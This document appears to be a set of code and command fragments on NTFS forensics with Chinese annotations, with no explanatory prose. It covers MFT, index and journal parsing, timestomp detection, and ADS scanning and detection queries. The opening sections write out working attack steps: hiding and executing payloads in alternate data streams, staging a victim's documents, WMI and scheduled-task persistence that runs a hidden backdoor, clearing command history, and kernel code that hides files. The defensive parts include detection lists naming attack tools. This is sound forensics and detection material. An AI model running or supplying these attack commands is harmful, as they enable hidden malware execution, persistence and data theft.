文件记录头（42 字节）：
├── 签名：FILE（4 字节）
├── 更新序列偏移（2 字节）
├── 更新序列大小（2 字节）
├── 日志序列号 LSN（8 字节）
├── 序列号（2 字节）
├── 硬链接计数（2 字节）
├── 第一个属性偏移（2 字节）
├── 标志（2 字节）：已使用 / 目录 / 空闲
├── 实际大小（4 字节）
├── 分配大小（4 字节）
├── 基本记录 ID（4 字节）
├── 下一个属性 ID（2 字节）
└── 更新序列（2 + 2×N 字节）

属性结构：
├── 属性类型（4 字节）
├── 属性大小（4 字节）
├── 非驻留标志（1 字节）
└── 属性内容（可变）

type payload.exe > C:\Temp\clean.txt:ads_name.exe

Set-Content -Path "C:\Temp\clean.txt" -Value "hidden data" -Stream "secret.txt"

Add-Content -Path "C:\Temp\clean.txt" -Value "more data" -Stream "secret.txt"

type C:\Temp\clean.txt:ads_name.exe

Get-Content -Path "C:\Temp\clean.txt" -Stream "secret.txt"

<?xml version="1.0" encoding="UTF-8"?>
<ZoneId>3</ZoneId>

wmic process call create "C:\Windows\System32\cmd.exe /c type C:\Temp\clean.txt:payload.exe > %TEMP%\temp.exe && %TEMP%\temp.exe"

$bytes = [System.IO.File]::ReadAllBytes("C:\Temp\clean.txt:payload.exe")
[System.IO.File]::WriteAllBytes("$env:TEMP\temp.exe", $bytes)
Start-Process "$env:TEMP\temp.exe"

$adsPath = "C:\Temp\clean.txt:payload.exe"
Start-Process -FilePath "powershell.exe" -ArgumentList "-c Get-Item -Path '$adsPath' | Invoke-Item"

type C:\Users\victim\Documents\confidential.docx > C:\Temp\report.xlsx:confidential.docx

$data = Get-Content -Path "C:\Users\victim\Documents\confidential.docx" -Encoding Byte
Set-Content -Path "C:\Temp\report.xlsx" -Value $data -Stream "confidential.docx" -Encoding Byte

$data = Get-Content -Path "C:\Users\victim\Documents\large_file.bin" -Encoding Byte -ReadCount 0
$chunkSize = 1024
for ($i = 0; $i -lt $data.Length; $i += $chunkSize) {
    $chunk = $data[$i..([Math]::Min($i + $chunkSize - 1, $data.Length - 1))]
    Add-Content -Path "C:\Temp\ innocent.log" -Value $chunk -Stream "exfil_$([Math]::Floor($i/$chunkSize))" -Encoding Byte
}

schtasks /create /tn "SystemUpdate" /tr "powershell.exe -c \"$bytes = [IO.File]::ReadAllBytes('C:\Windows\System32\clean.txt:backdoor.ps1'); IEX ([Text.Encoding]::UTF8.GetString($bytes))\"" /sc hourly /mo 1

$filterArgs = @{
    EventNamespace = 'root\cimv2'
    Name = 'ADSBackdoorFilter'
    Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Second = 0"
    QueryLanguage = 'WQL'
}
$filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments $filterArgs

$consumerArgs = @{
    Name = 'ADSBackdoorConsumer'
    CommandLineTemplate = "powershell.exe -c `$bytes = [IO.File]::ReadAllBytes('C:\Windows\System32\clean.txt:backdoor.ps1'); IEX ([Text.Encoding]::UTF8.GetString(`$bytes))"
}
$consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments $consumerArgs

$bindingArgs = @{
    Filter = $filter
    Consumer = $consumer
}
Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments $bindingArgs

Invoke-Expression (Get-Content -Path "C:\Windows\System32\notepad.exe:script.ps1" -Raw)

$content = [System.IO.StreamReader]::new("C:\Windows\System32\notepad.exe:encoded.ps1").ReadToEnd()
$decoded = [System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($content))
Invoke-Expression $decoded

$history = Get-History | Out-String
$history | Out-File -FilePath "C:\Windows\System32\cmd.exe:history.txt"

Clear-History

<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
  <System>
    <Provider Name="Microsoft-Windows-Security-Auditing" Guid="{54849625-5478-4994-A5BA-3E3B0328C30D}"/>
    <EventID>4663</EventID>
    <Version>1</Version>
    <Level>0</Level>
    <Task>12800</Task>
    <Opcode>0</Opcode>
    <Keywords>0x8020000000000000</Keywords>
    <TimeCreated SystemTime="2026-06-25T08:30:00.123456789Z"/>
    <EventRecordID>12345</EventRecordID>
    <Channel>Security</Channel>
    <Computer>WORKSTATION01</Computer>
  </System>
  <EventData>
    <Data Name="SubjectUserSid">S-1-5-21-1234567890-1234567890-1234567890-1001</Data>
    <Data Name="SubjectUserName">attacker</Data>
    <Data Name="SubjectDomainName">CORP</Data>
    <Data Name="SubjectLogonId">0x3E7</Data>
    <Data Name="ObjectType">File</Data>
    <Data Name="ObjectName">C:\Temp\clean.txt</Data>
    <Data Name="AccessList">%%4417</Data>
    <Data Name="AccessMask">0x2</Data>
    <Data Name="ProcessName">C:\Windows\System32\cmd.exe</Data>
    <Data Name="ResourceAttributes">Stream Name: :payload.exe</Data>
  </EventData>
</Event>

Get-ChildItem -Path "C:\Temp" -Recurse -Force | ForEach-Object {
    $streams = Get-Item $_.FullName -Stream * -ErrorAction SilentlyContinue
    foreach ($stream in $streams) {
        if ($stream.Stream -ne ':$DATA') {
            [PSCustomObject]@{
                Path = $_.FullName
                Stream = $stream.Stream
                Size = $stream.Length
            }
        }
    }
}

import struct

def parse_mft_record(record_data):
    if record_data[:4] != b'FILE':
        return None
    
    result = {}
    result['signature'] = record_data[:4].decode('ascii')
    result['update_seq_offset'] = struct.unpack_from('<H', record_data, 4)[0]
    result['update_seq_size'] = struct.unpack_from('<H', record_data, 6)[0]
    result['lsn'] = struct.unpack_from('<Q', record_data, 8)[0]
    result['sequence_number'] = struct.unpack_from('<H', record_data, 16)[0]
    result['hard_link_count'] = struct.unpack_from('<H', record_data, 18)[0]
    result['first_attr_offset'] = struct.unpack_from('<H', record_data, 20)[0]
    result['flags'] = struct.unpack_from('<H', record_data, 22)[0]
    result['real_size'] = struct.unpack_from('<I', record_data, 24)[0]
    result['allocated_size'] = struct.unpack_from('<I', record_data, 28)[0]
    result['base_record'] = struct.unpack_from('<I', record_data, 32)[0]
    result['next_attr_id'] = struct.unpack_from('<H', record_data, 36)[0]
    
    result['is_dir'] = bool(result['flags'] & 0x02)
    result['is_active'] = bool(result['flags'] & 0x01)
    
    return result

def parse_attribute(attr_data):
    attr = {}
    attr['type'] = struct.unpack_from('<I', attr_data, 0)[0]
    attr['length'] = struct.unpack_from('<I', attr_data, 4)[0]
    attr['non_resident'] = struct.unpack_from('B', attr_data, 8)[0]
    attr['name_length'] = struct.unpack_from('B', attr_data, 9)[0]
    attr['name_offset'] = struct.unpack_from('<H', attr_data, 10)[0]
    attr['flags'] = struct.unpack_from('<H', attr_data, 12)[0]
    attr['attribute_id'] = struct.unpack_from('<H', attr_data, 14)[0]
    
    return attr

python3 analyzeMFT.py -f /path/to/evidence/mft.raw -o recovered_mft.csv --body recovered_mft.body

文件名：report.docx
$SI-Created:  2026-06-15 10:30:00.1234567
$FN-Created:  2026-06-15 10:30:00.1234567
$SI-Modified: 2026-06-20 14:22:00.9876543
$FN-Modified: 2026-06-20 14:22:00.9876543
→ 一致，未被篡改

文件名：report.docx
$SI-Created:  2020-01-01 00:00:00.0000000
$FN-Created:  2026-06-15 10:30:00.1234567
$SI-Modified: 2020-01-01 00:00:00.0000000
$FN-Modified: 2026-06-20 14:22:00.9876543
→ $SI 被篡改，$FN 保持原值

import csv

def detect_timestomping(mft_csv_path):
    suspicious = []
    with open(mft_csv_path, 'r', encoding='utf-8') as f:
        reader = csv.DictReader(f)
        for row in reader:
            si_created = row.get('SICreateTime', '')
            fn_created = row.get('FNCreateTime', '')
            si_modified = row.get('SIModifyTime', '')
            fn_modified = row.get('FNModifyTime', '')
            
            if si_created != fn_created or si_modified != fn_modified:
                suspicious.append({
                    'mft_entry': row.get('MFT Entry'),
                    'filename': row.get('Filename'),
                    'si_created': si_created,
                    'fn_created': fn_created,
                    'si_modified': si_modified,
                    'fn_modified': fn_modified,
                    'reason': 'SI/FN timestamp mismatch'
                })
            
            if si_created and si_created.startswith('2020-01-01 00:00:00'):
                suspicious.append({
                    'mft_entry': row.get('MFT Entry'),
                    'filename': row.get('Filename'),
                    'si_created': si_created,
                    'reason': 'Zero timestamp detected'
                })
    
    return suspicious

def detect_ads_in_mft(record_data):
    ads_list = []
    offset = struct.unpack_from('<H', record_data, 20)[0]
    
    while offset < len(record_data):
        attr_type = struct.unpack_from('<I', record_data, offset)[0]
        if attr_type == 0xFFFFFFFF:
            break
        
        attr_length = struct.unpack_from('<I', record_data, offset + 4)[0]
        name_length = struct.unpack_from('B', record_data, offset + 9)[0]
        name_offset = struct.unpack_from('<H', record_data, offset + 10)[0]
        
        if attr_type == 0x80 and name_length > 0:
            attr_name = record_data[offset + name_offset:offset + name_offset + name_length * 2].decode('utf-16-le')
            non_resident = struct.unpack_from('B', record_data, offset + 8)[0]
            if non_resident:
                data_runs_offset = struct.unpack_from('<H', record_data, offset + 32)[0]
                ads_list.append({
                    'name': attr_name,
                    'offset': offset,
                    'data_runs_offset': data_runs_offset
                })
        
        offset += attr_length
    
    return ads_list

python3 analyzeMFT.py -f /path/to/evidence/mft.raw -o output.csv --body output.body

索引条目头：
├── MFT 记录号（4 字节）
├── 索引条目大小（2 字节）
├── 文件名属性大小（2 字节）
├── 索引标志（1 字节）：0x01 = 子节点存在
├── 保留（1 字节）
└── 父目录引用（8 字节）

文件名属性内容：
├── 父目录引用（6 字节）
├── 时间戳（8 字节 × 4）
├── 文件属性（4 字节）
├── 文件名大小（1 字节）
├── 文件名命名空间（1 字节）：0=POSIX, 1=Win32, 2=DOS, 3=Win32+DOS
└── 文件名（可变）

import struct

def recover_i30_entries(index_allocation_data):
    entries = []
    offset = 0x18
    
    while offset < len(index_allocation_data):
        entry_signature = index_allocation_data[offset:offset+4]
        if entry_signature == b'INDX':
            entries_offset = struct.unpack_from('<H', index_allocation_data, offset + 24)[0]
            entries_end = struct.unpack_from('<I', index_allocation_data, offset + 28)[0]
            parse_i30_entries(index_allocation_data, offset + entries_offset, entries_end, entries)
        
        offset += 4096
    
    return entries

def parse_i30_entries(data, start, end, entries):
    offset = start
    while offset < end:
        mft_ref = struct.unpack_from('<I', data, offset)[0] & 0xFFFFFFFFFFFF
        entry_size = struct.unpack_from('<H', data, offset + 4)[0]
        filename_size = struct.unpack_from('<H', data, offset + 8)[0]
        
        if entry_size == 0:
            break
        
        filename_ns = data[offset + 13]
        filename_bytes = data[offset + 14:offset + 14 + filename_size]
        try:
            filename = filename_bytes.decode('utf-16-le')
        except:
            filename = '<decode_error>'
        
        entries.append({
            'mft_ref': mft_ref,
            'filename': filename,
            'namespace': filename_ns,
            'entry_size': entry_size,
            'filename_size': filename_size
        })
        
        offset += entry_size

python3 i30parse.py -f /path/to/evidence/image.raw -d /path/to/output/

def cross_reference_i30_mft(i30_entries, mft_records):
    results = []
    for entry in i30_entries:
        mft_ref = entry['mft_ref']
        if mft_ref in mft_records:
            mft_rec = mft_records[mft_ref]
            results.append({
                'filename_i30': entry['filename'],
                'filename_mft': mft_rec.get('filename'),
                'mft_ref': mft_ref,
                'mft_active': mft_rec.get('is_active'),
                'si_created': mft_rec.get('si_created'),
                'fn_created': mft_rec.get('fn_created'),
                'discrepancy': entry['filename'] != mft_rec.get('filename')
            })
        else:
            results.append({
                'filename_i30': entry['filename'],
                'mft_ref': mft_ref,
                'mft_active': False,
                'note': 'MFT record not found or reused'
            })
    return results

LSN = 区域号(4位) | 区域偏移(8位) | 序列号(4位)

def parse_logfile(logfile_data):
    restart_area_offset = 0x30
    client_array_offset = struct.unpack_from('<I', logfile_data, restart_area_offset)[0]
    client_array = struct.unpack_from('<I', logfile_data, restart_area_offset + 4)[0]
    
    records = []
    offset = 0x4000
    
    while offset < len(logfile_data) - 4:
        record_type = struct.unpack_from('<H', logfile_data, offset)[0]
        if record_type == 0:
            break
        
        redo_length = struct.unpack_from('<H', logfile_data, offset + 2)[0]
        undo_length = struct.unpack_from('<H', logfile_data, offset + 4)[0]
        client_data_length = struct.unpack_from('<H', logfile_data, offset + 6)[0]
        client_id = struct.unpack_from('<I', logfile_data, offset + 8)[0]
        target_attribute = struct.unpack_from('<I', logfile_data, offset + 12)[0]
        lsn = struct.unpack_from('<Q', logfile_data, offset + 16)[0]
        
        records.append({
            'lsn': lsn,
            'type': record_type,
            'redo_length': redo_length,
            'undo_length': undo_length,
            'client_id': client_id,
            'offset': offset
        })
        
        if client_data_length > 0:
            offset += client_data_length
        else:
            offset += 4
    
    return records

chkdsk C: /v /x > C:\Temp\chkdsk_output.txt 2>&1

def build_event_timeline(logfile_records, usnjrnl_records, mft_records):
    timeline = []
    
    for record in logfile_records:
        event = {
            'source': 'LogFile',
            'lsn': record['lsn'],
            'type': record['type'],
            'description': describe_logfile_operation(record, mft_records)
        }
        timeline.append(event)
    
    for record in usnjrnl_records:
        event = {
            'source': 'UsnJrnl',
            'usn': record['usn'],
            'timestamp': record['timestamp'],
            'type': record['reason'],
            'filename': record['filename'],
            'description': record['reason']
        }
        timeline.append(event)
    
    timeline.sort(key=lambda x: x.get('lsn', x.get('usn', 0)))
    return timeline

import struct
from datetime import datetime, timedelta

def parse_usnjrnl_record(data, offset):
    record = {}
    record['length'] = struct.unpack_from('<I', data, offset)[0]
    record['major_version'] = struct.unpack_from('<H', data, offset + 4)[0]
    record['minor_version'] = struct.unpack_from('<H', data, offset + 6)[0]
    record['mft_ref'] = struct.unpack_from('<Q', data, offset + 8)[0]
    record['mft_parent_ref'] = struct.unpack_from('<Q', data, offset + 16)[0]
    record['usn'] = struct.unpack_from('<q', data, offset + 24)[0]
    
    timestamp_raw = struct.unpack_from('<q', data, offset + 32)[0]
    record['timestamp'] = datetime(1601, 1, 1) + timedelta(microseconds=timestamp_raw // 10)
    
    record['reason'] = struct.unpack_from('<I', data, offset + 40)[0]
    record['source_info'] = struct.unpack_from('<I', data, offset + 44)[0]
    record['security_id'] = struct.unpack_from('<I', data, offset + 48)[0]
    record['file_attributes'] = struct.unpack_from('<I', data, offset + 52)[0]
    record['filename_length'] = struct.unpack_from('<H', data, offset + 56)[0]
    record['filename_offset'] = struct.unpack_from('<H', data, offset + 58)[0]
    
    filename_start = offset + record['filename_offset']
    filename_end = filename_start + record['filename_length']
    record['filename'] = data[filename_start:filename_end].decode('utf-16-le')
    
    return record

def analyze_usnjrnl(data):
    offset = 0
    records = []
    
    while offset < len(data) - 60:
        entry_length = struct.unpack_from('<I', data, offset)[0]
        if entry_length <= 60 or entry_length > 65536:
            offset += 8
            continue
        
        try:
            record = parse_usnjrnl_record(data, offset)
            if record['filename']:
                records.append(record)
        except:
            pass
        
        offset += entry_length
    
    return records

def build_attack_timeline(usnjrnl_records):
    attack_events = []
    
    for record in usnjrnl_records:
        reasons = []
        if record['reason'] & 0x00000010:
            reasons.append('FILE_CREATE')
        if record['reason'] & 0x00000020:
            reasons.append('FILE_DELETE')
        if record['reason'] & 0x00000001:
            reasons.append('DATA_OVERWRITE')
        if record['reason'] & 0x00000004:
            reasons.append('ADS_OVERWRITE')
        if record['reason'] & 0x00000100:
            reasons.append('RENAME_OLD')
        if record['reason'] & 0x00000200:
            reasons.append('RENAME_NEW')
        
        if not reasons:
            continue
        
        severity = 'normal'
        filename = record['filename'].lower()
        if any(ext in filename for ext in ['.exe', '.dll', '.ps1', '.bat', '.cmd', '.vbs', '.js']):
            severity = 'high'
        if 'ADS_OVERWRITE' in reasons:
            severity = 'critical'
        
        attack_events.append({
            'timestamp': record['timestamp'],
            'filename': record['filename'],
            'reasons': reasons,
            'usn': record['usn'],
            'severity': severity
        })
    
    attack_events.sort(key=lambda x: x['timestamp'])
    return attack_events

fsutil usn queryjournal C:

Usn 计算机 : 265780
有效日期: 43200
Max 值 : 4096
Max 大小 (MB) : 100

SELECT TimeCreated, EventID, Message
FROM SecurityEvents
WHERE EventID = 4663
  AND Message LIKE '%UsnJrnl%'
  AND Message LIKE '%delete%'
ORDER BY TimeCreated DESC

dir /r C:\Temp\

12345              clean.txt
    56789:payload.exe:$DATA

Get-Item "C:\Temp\clean.txt" -Stream *

   Stream          Length
   ------          ------
   :$DATA              123
   payload.exe       56789

Get-ChildItem -Path "C:\Temp" -Recurse -Force | Get-Item -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' }

function Scan-ADS {
    param([string]$Path = "C:\")
    
    $results = @()
    $items = Get-ChildItem -Path $Path -Recurse -Force -ErrorAction SilentlyContinue
    
    foreach ($item in $items) {
        $streams = Get-Item -Path $item.FullName -Stream * -ErrorAction SilentlyContinue
        foreach ($stream in $streams) {
            if ($stream.Stream -ne ':$DATA') {
                $results += [PSCustomObject]@{
                    FullName = $item.FullName
                    StreamName = $stream.Stream
                    StreamLength = $stream.Length
                    FileSize = $item.Length
                    CreationTime = $item.CreationTime
                    LastWriteTime = $item.LastWriteTime
                    Attributes = $item.Attributes
                }
            }
        }
    }
    
    return $results
}

$adsResults = Scan-ADS -Path "C:\"
$adsResults | Export-Csv -Path "C:\Temp\ads_scan_results.csv" -NoTypeInformation -Encoding UTF8
$adsResults | Format-Table -AutoSize

function Detect-SuspiciousADS {
    param([string]$Path = "C:\")
    
    $suspiciousExtensions = @('.exe', '.dll', '.ps1', '.bat', '.cmd', '.vbs', '.js', '.wsf', '.hta')
    $suspiciousPatterns = @('payload', 'backdoor', 'shell', 'meterpreter', 'cobalt', 'beacon')
    
    $items = Get-ChildItem -Path $Path -Recurse -Force -ErrorAction SilentlyContinue
    
    foreach ($item in $items) {
        $streams = Get-Item -Path $item.FullName -Stream * -ErrorAction SilentlyContinue
        foreach ($stream in $streams) {
            if ($stream.Stream -ne ':$DATA') {
                $isSuspicious = $false
                $reasons = @()
                
                foreach ($ext in $suspiciousExtensions) {
                    if ($stream.Stream -like "*$ext") {
                        $isSuspicious = $true
                        $reasons += "Executable extension: $ext"
                    }
                }
                
                foreach ($pattern in $suspiciousPatterns) {
                    if ($stream.Stream -like "*$pattern*") {
                        $isSuspicious = $true
                        $reasons += "Suspicious pattern: $pattern"
                    }
                }
                
                if ($stream.Length -gt 1MB) {
                    $isSuspicious = $true
                    $reasons += "Large ADS size: $($stream.Length) bytes"
                }
                
                if ($isSuspicious) {
                    [PSCustomObject]@{
                        Path = $item.FullName
                        Stream = $stream.Stream
                        Size = $stream.Length
                        Reasons = $reasons -join '; '
                        CreationTime = $item.CreationTime
                    }
                }
            }
        }
    }
}

<Sysmon schemaversion="4.90">
    <EventFiltering>
        <FileCreateStreamHash onmatch="include">
            <TargetFilename condition="contains">:</TargetFilename>
        </FileCreateStreamHash>
    </EventFiltering>
</Sysmon>

<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
  <System>
    <Provider Name="Microsoft-Windows-Sysmon" Guid="{5770385f-c22a-43a0-b007-398e9342f074}"/>
    <EventID>15</EventID>
    <Version>2</Version>
    <Level>4</Level>
    <Task>15</Task>
    <Opcode>0</Opcode>
    <Keywords>0x8000000000000000</Keywords>
    <TimeCreated SystemTime="2026-06-25T08:30:00.123456789Z"/>
    <EventRecordID>5678</EventRecordID>
    <Channel>Microsoft-Windows-Sysmon/Operational</Channel>
    <Computer>WORKSTATION01</Computer>
    <Security/>
  </System>
  <EventData>
    <Data Name="RuleName">ads_detection</Data>
    <Data Name="UtcTime">2026-06-25 08:30:00.123</Data>
    <Data Name="ProcessGuid">{12345678-abcd-1234-abcd-123456789abc}</Data>
    <Data Name="ProcessId">4567</Data>
    <Data Name="User">CORP\attacker</Data>
    <Data Name="Image">C:\Windows\System32\cmd.exe</Data>
    <Data Name="TargetFilename">C:\Temp\clean.txt</Data>
    <Data Name="StreamName">:payload.exe</Data>
    <Data Name="StreamIsDirectory">false</Data>
    <Data Name="StreamFileIdentifier">Stream associated with $DATA.</Data>
    <Data Name="Hash">SHA256=a1b2c3d4e5f6...</Data>
  </EventData>
</Event>

sigcheck.exe -s -v C:\Temp\clean.txt

sigcheck.exe -s -accepteula -nobanner C:\ > C:\Temp\sigcheck_results.txt

Import-Module ArsenalImageMounter
Mount-DiskImage -ImagePath "C:\Evidence\disk_image.E01" -Access ReadOnly

NTSTATUS HookDirectoryControl(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
    NTSTATUS status = OriginalDirectoryControl(DeviceObject, Irp);
    
    if (NT_SUCCESS(status)) {
        FilterDirectoryEntries(Irp, HiddenFiles, HiddenFilesCount);
    }
    
    return status;
}

fltmc filters

fltmc instances

void HideFileInMft(PVOID MftRecord) {
    USHORT Flags = *(USHORT*)((PUCHAR)MftRecord + 0x16);
    Flags &= ~0x01;
    *(USHORT*)((PUCHAR)MftRecord + 0x16) = Flags;
}

void HideFileInI30(PVOID IndexEntry) {
    USHORT EntryLength = *(USHORT*)((PUCHAR)IndexEntry + 4);
    USHORT NextEntryOffset = *(USHORT*)((PUCHAR)IndexEntry + 8);
    *(USHORT*)((PUCHAR)IndexEntry + 4) = NextEntryOffset;
}

dd if=/dev/sda of=/tmp/evidence.raw bs=512 count=1024

yara -r /path/to/rules/ /path/to/evidence/disk_image.raw

volatility -f evidence.raw --profile=Win10x64 malfind

def cross_validate(mft_entries, directory_listings, yara_matches, volatility_results):
    discrepancies = []
    
    mft_files = set(entry['filename'] for entry in mft_entries if entry['is_active'])
    dir_files = set(filename for listing in directory_listings for filename in listing['files'])
    
    hidden_from_dir = mft_files - dir_files
    if hidden_from_dir:
        discrepancies.append({
            'type': 'Hidden from directory listing',
            'files': hidden_from_dir,
            'severity': 'critical'
        })
    
    mft_hidden = dir_files - mft_files
    if mft_hidden:
        discrepancies.append({
            'type': 'Ghost files in directory',
            'files': mft_hidden,
            'severity': 'high'
        })
    
    for match in yara_matches:
        discrepancies.append({
            'type': 'YARA signature match',
            'file': match['file'],
            'rule': match['rule'],
            'severity': 'critical'
        })
    
    return discrepancies

Get-ChildItem -Path "C:\Windows\System32" -Recurse -Force | Get-Item -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' -and $_.Length -gt 0 } | Select-Object FileName, Stream, Length, @{N='ParentPath';E={$_.Path}}

Get-ChildItem -Path "C:\Windows\System32\*.exe" -Force | ForEach-Object {
    $ads = Get-Item -Path $_.FullName -Stream * -ErrorAction SilentlyContinue
    $totalStreamSize = ($ads | Where-Object { $_.Stream -ne ':$DATA' } | Measure-Object -Property Length -Sum).Sum
    $fileSize = $_.Length
    if ($totalStreamSize -gt 0) {
        [PSCustomObject]@{
            File = $_.Name
            MainSize = $fileSize
            ADSCount = ($ads | Where-Object { $_.Stream -ne ':$DATA' }).Count
            TotalADSSize = $totalStreamSize
        }
    }
}

Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; Id=4104} -ErrorAction SilentlyContinue | Where-Object { $_.Message -match 'Stream|Get-Content.*-Stream|Set-Content.*-Stream' } | Select-Object TimeCreated, Message | Format-List

function Invoke-ADSHunt {
    param(
        [string[]]$TargetPaths = @("C:\Windows", "C:\Users", "C:\Temp"),
        [string]$OutputPath = "C:\Forensics\ADS_Report"
    )
    
    if (-not (Test-Path $OutputPath)) {
        New-Item -Path $OutputPath -ItemType Directory -Force
    }
    
    $timestamp = Get-Date -Format "yyyyMMdd_HHmmss"
    $reportFile = Join-Path $OutputPath "ADS_Report_$timestamp.csv"
    
    $suspiciousExts = @('.exe', '.dll', '.ps1', '.bat', '.cmd', '.vbs', '.js', '.wsf', '.hta', '.scr', '.com')
    $results = @()
    
    foreach ($targetPath in $TargetPaths) {
        if (-not (Test-Path $targetPath)) { continue }
        
        Write-Host "[*] Scanning: $targetPath" -ForegroundColor Yellow
        
        $items = Get-ChildItem -Path $targetPath -Recurse -Force -ErrorAction SilentlyContinue | 
                 Where-Object { -not $_.PSIsContainer }
        
        $total = $items.Count
        $current = 0
        
        foreach ($item in $items) {
            $current++
            if ($current % 1000 -eq 0) {
                Write-Host "  [*] Progress: $current / $total" -ForegroundColor DarkGray
            }
            
            try {
                $streams = Get-Item -Path $item.FullName -Stream * -ErrorAction Stop
                foreach ($stream in $streams) {
                    if ($stream.Stream -ne ':$DATA') {
                        $riskLevel = 'Low'
                        $riskReasons = @()
                        
                        foreach ($ext in $suspiciousExts) {
                            if ($stream.Stream -match [regex]::Escape($ext)) {
                                $riskLevel = 'High'
                                $riskReasons += "Executable extension: $ext"
                            }
                        }
                        
                        if ($stream.Length -gt 1MB) {
                            $riskLevel = 'High'
                            $riskReasons += "Large size: $($stream.Length) bytes"
                        }
                        
                        if ($item.FullName -match 'System32|SysWOW64') {
                            if ($riskLevel -eq 'Low') {
                                $riskLevel = 'Medium'
                                $riskReasons += "Located in system directory"
                            }
                        }
                        
                        $results += [PSCustomObject]@{
                            Timestamp = Get-Date -Format "yyyy-MM-dd HH:mm:ss"
                            FilePath = $item.FullName
                            StreamName = $stream.Stream
                            StreamSize = $stream.Length
                            MainFileSize = $item.Length
                            CreationTime = $item.CreationTime
                            LastWriteTime = $item.LastWriteTime
                            RiskLevel = $riskLevel
                            RiskReasons = $riskReasons -join '; '
                        }
                    }
                }
            } catch {
                continue
            }
        }
    }
    
    $results | Export-Csv -Path $reportFile -NoTypeInformation -Encoding UTF8
    
    $highRisk = $results | Where-Object { $_.RiskLevel -eq 'High' }
    $mediumRisk = $results | Where-Object { $_.RiskLevel -eq 'Medium' }
    
    Write-Host "`n[+] ADS Scan Complete" -ForegroundColor Green
    Write-Host "    Total ADS found: $($results.Count)" -ForegroundColor White
    Write-Host "    High risk: $($highRisk.Count)" -ForegroundColor Red
    Write-Host "    Medium risk: $($mediumRisk.Count)" -ForegroundColor Yellow
    Write-Host "    Report saved to: $reportFile" -ForegroundColor Cyan
    
    return $results
}

function Detect-TimestampAnomalies {
    param(
        [string]$MFTCsvPath,
        [string]$OutputPath = "C:\Forensics\Timestamp_Anomalies"
    )
    
    if (-not (Test-Path $OutputPath)) {
        New-Item -Path $OutputPath -ItemType Directory -Force
    }
    
    $mftData = Import-Csv -Path $MFTCsvPath -Encoding UTF8
    $anomalies = @()
    
    foreach ($entry in $mftData) {
        $siCreated = [datetime]::Parse($entry.SICreateTime)
        $fnCreated = [datetime]::Parse($entry.FNCreateTime)
        $siModified = [datetime]::Parse($entry.SIModifyTime)
        $fnModified = [datetime]::Parse($entry.FNModifyTime)
        
        if ($siCreated -ne $fnCreated) {
            $anomalies += [PSCustomObject]@{
                Type = 'SI/FN Created Mismatch'
                Filename = $entry.Filename
                MFTEntry = $entry.'MFT Entry'
                SICreated = $siCreated
                FNCreated = $fnCreated
                Difference = $siCreated - $fnCreated
            }
        }
        
        if ($siModified -ne $fnModified) {
            $anomalies += [PSCustomObject]@{
                Type = 'SI/FN Modified Mismatch'
                Filename = $entry.Filename
                MFTEntry = $entry.'MFT Entry'
                SIModified = $siModified
                FNModified = $fnModified
                Difference = $siModified - $fnModified
            }
        }
        
        $epochStart = [datetime]"1970-01-01"
        if ($siCreated -lt $epochStart -or $siCreated -eq [datetime]"2020-01-01 00:00:00") {
            $anomalies += [PSCustomObject]@{
                Type = 'Zero/Epoch Timestamp'
                Filename = $entry.Filename
                MFTEntry = $entry.'MFT Entry'
                SICreated = $siCreated
                FNCreated = $fnCreated
                Difference = 'N/A'
            }
        }
    }
    
    $anomalyReport = Join-Path $OutputPath "Timestamp_Anomalies_$(Get-Date -Format 'yyyyMMdd_HHmmss').csv"
    $anomalies | Export-Csv -Path $anomalyReport -NoTypeInformation -Encoding UTF8
    
    Write-Host "[+] Timestamp anomaly detection complete" -ForegroundColor Green
    Write-Host "    Anomalies found: $($anomalies.Count)" -ForegroundColor Yellow
    Write-Host "    Report: $anomalyReport" -ForegroundColor Cyan
    
    return $anomalies
}

-- 检测 ADS 创建操作（Sysmon Event ID 15）
SELECT
    TimeCreated AS EventTime,
    Computer,
    EXTRACTDATA(Data, 'Image') AS ProcessImage,
    EXTRACTDATA(Data, 'TargetFilename') AS TargetFile,
    EXTRACTDATA(Data, 'StreamName') AS ADSName,
    EXTRACTDATA(Data, 'Hash') AS FileHash
FROM MicrosoftWindowsSysmonOperational
WHERE EventID = 15
  AND EXTRACTDATA(Data, 'StreamName') NOT LIKE ':$DATA'
  AND EXTRACTDATA(Data, 'StreamName') NOT LIKE 'Zone.Identifier'
  AND EXTRACTDATA(Data, 'StreamName') NOT LIKE 'com.apple.*'
ORDER BY TimeCreated DESC

-- 检测 ADS 相关文件操作（Security Event ID 4663）
SELECT
    TimeCreated AS EventTime,
    Computer,
    EXTRACTDATA(Data, 'SubjectUserName') AS Username,
    EXTRACTDATA(Data, 'ObjectName') AS ObjectName,
    EXTRACTDATA(Data, 'ResourceAttributes') AS ResourceAttributes,
    EXTRACTDATA(Data, 'ProcessName') AS ProcessName
FROM SecurityEvent
WHERE EventID = 4663
  AND EXTRACTDATA(Data, 'ResourceAttributes') LIKE '%Stream Name%'
ORDER BY TimeCreated DESC

// 检测 ADS 创建操作
DeviceFileEvents
| where Timestamp > ago(7d)
| where ActionType == "FileCreatedStream"
| where AdditionalFields !contains ":$DATA"
| where AdditionalFields !contains "Zone.Identifier"
| where AdditionalFields !contains "com.apple"
| project Timestamp, DeviceName, InitiatingProcessFileName, 
          InitiatingProcessCommandLine, FileName, 
          FolderPath, AdditionalFields
| order by Timestamp desc

// 检测可疑的 PowerShell ADS 操作
DeviceProcessEvents
| where Timestamp > ago(7d)
| where ProcessCommandLine has_any ("Get-Content", "Set-Content", "Add-Content")
| where ProcessCommandLine has "-Stream"
| project Timestamp, DeviceName, FileName, ProcessCommandLine,
          InitiatingProcessFileName, InitiatingProcessCommandLine
| order by Timestamp desc

title: NTFS ADS Executable Creation
id: 8a7c3d2e-4f1a-4b5c-9d8e-1a2b3c4d5e6f
status: stable
description: 检测通过 PowerShell 或 cmd 创建带有可执行扩展名的 ADS 操作
references:
